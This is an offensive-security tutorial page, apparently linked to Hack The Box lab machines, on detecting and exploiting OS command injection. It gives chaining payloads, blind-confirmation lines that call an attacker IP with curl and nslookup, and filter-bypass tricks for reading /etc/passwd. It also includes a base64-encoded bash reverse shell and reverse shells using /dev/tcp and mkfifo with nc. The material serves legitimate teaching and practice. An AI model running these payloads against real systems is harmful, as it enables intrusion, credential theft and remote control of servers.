OS command injection: detection, blind injection and filter bypasses

How to find OS command injection on Linux and Windows, confirm it blind (time, DNS, HTTP) and bypass the most common space, keyword and character filters.

· 4 min read

The application takes something you type and drops it into a system command: a diagnostic ping, a file converter, a URL checker, the name of a file being compressed. If it does not escape it properly, you run whatever you want. Around 40 machines in the catalogue feature command injection, and it is one of the most direct routes to a shell.

Where to look

  • Features that obviously call a tool: ping, traceroute, nslookup, whois, checking whether a website is up, generating a PDF, converting an image, unzipping.
  • Parameters holding file names, hosts or IP addresses.
  • Headers the application logs or processes (User-Agent, X-Forwarded-For) in internal panels.
  • Fields that end up in server scripts later (a username used by a cron job).

Detecting it

The separators that chain commands in each shell:

Separator Linux (sh/bash) Windows (cmd) What it does
; Yes No Runs one, then the other
&& Yes Yes The second only if the first succeeds
|| Yes Yes The second only if the first fails
| Yes Yes Pipes the first one's output into the second
& Yes (in the background) Yes Runs one, then the other
Newline (%0a) Yes Yes Ends the command
`cmd` / $(cmd) Yes No Substitution: runs inside the first one

Start with something that returns recognisable output:

127.0.0.1; id
127.0.0.1 | id
127.0.0.1%0aid
$(id)
`id`
127.0.0.1 & whoami

Tip

If your input sits inside quotes in the command (ping -c 1 "INPUT"), close them first: "; id; echo ". If it is an argument to another tool, sometimes one of that tool's options is enough: -o /var/www/html/x.php for curl or wget is argument injection rather than command injection, but it ends the same way.

When you cannot see the output (blind)

The most common case. You need a signal that arrives by another route:

# Time: the response takes 5 s longer
; sleep 5
& ping -n 6 127.0.0.1 &          # Windows: about 5 s

# Network: the server connects to your box
; curl http://10.10.14.5/$(whoami)
; ping -c 2 10.10.14.5
& nslookup test.10.10.14.5.nip.io &

For the network signal, listen on your box with sudo tcpdump -ni tun0 icmp (ping) or python3 -m http.server 80 (HTTP). If a request arrives, you have execution: go straight to the reverse shell.

If there is no way out to the internet or your IP, write the output somewhere you can read it:

; id > /var/www/html/static/x.txt

Bypassing filters

The web injections cheat sheet has the full list. The essentials:

# No spaces
cat${IFS}/etc/passwd
{cat,/etc/passwd}
cat</etc/passwd
X=$'\x20';cat${X}/etc/passwd

# Banned words (cat, whoami, bash...)
w'h'o'am'i
w"h"oami
wh\oami
/???/c?t /etc/passwd             # wildcards: /bin/cat
$(printf 'd2hvYW1p' | base64 -d)

# Banned slash
cat ${HOME:0:1}etc${HOME:0:1}passwd

# All together: the reverse shell in base64
echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC41LzQ0NDQgMD4mMQ== | base64 -d | bash

On Windows:

who^ami
powershell -enc <base64 in UTF-16LE>

The PowerShell generator gives you the -enc ready to paste, and the encoder converts to base64, URL or hex.

From injection to shell

nc -lvnp 4444
; bash -c 'bash -i >& /dev/tcp/10.10.14.5/4444 0>&1'
; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 10.10.14.5 4444 >/tmp/f

If the request goes through the URL, encode & as %26 and + as %2b, or Burp will break the payload.

Common errors

  • id works but the reverse shell does not: there is an egress firewall. Try ports that are usually open (80, 443, 53) or write into the web root.
  • bash does not exist: many Docker images only have sh (busybox). Use the mkfifo and nc variant, or python3 -c.
  • It runs, but a minute later: your input is stored and a script processes it later (a cron job). That is normal; wait, or look for the script.

Examples from the catalogue

Networked has an injection in a cron script through a file name; Jarvis, one in a sudo script with filters to bypass; Headless, one in a date parameter after stealing a cookie with XSS; and CozyHosting, one with a space filter you get past with ${IFS}. The rest are listed at the end of this page.

What next

With the shell, follow the post-exploitation checklist. If the application passes your input to a template rather than a shell, see the SSTI guide; if it puts it in a query, the SQL injection one.

Practise it on real machines

Hack The Box machines where this technique is used. Each ▶ jumps to the minute of the IppSec video where it shows up.

Command injection 40 machines

See all 40 machines →

Spotted a mistake or something missing? Tell us